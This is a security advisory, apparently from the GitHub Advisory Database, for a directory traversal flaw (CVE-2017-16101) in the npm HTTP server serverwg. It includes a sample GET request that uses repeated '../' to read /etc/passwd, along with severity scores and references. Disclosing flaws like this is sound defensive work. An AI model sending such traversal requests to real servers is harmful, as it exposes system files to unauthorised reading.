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Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTJmMjktcG1weC12ajYy

Directory Traversal in serverwg

serverwg is a simple http server.

serverwg is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the URL.

Example request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo

and response:

HTTP/1.1 200 OK
Date: Wed, 17 May 2017 22:52:08 GMT
Connection: keep-alive

{contents of /etc/passwd}

Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

Permalink: https://github.com/advisories/GHSA-2f29-pmpx-vj62
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTJmMjktcG1weC12ajYy
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 4 years ago
Updated: over 1 year ago

CVSS Score: 7.5
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

EPSS Percentage: 0.00715
EPSS Percentile: 0.80509

Identifiers: GHSA-2f29-pmpx-vj62, CVE-2017-16101
References:

• https://github.com/JacksonGL/NPM-Vuln-PoC/tree/master/directory-traversal/serverwg
• https://www.npmjs.com/advisories/364
• https://nvd.nist.gov/vuln/detail/CVE-2017-16101
• https://github.com/advisories/GHSA-2f29-pmpx-vj62

Blast Radius: 0.0

Affected Packages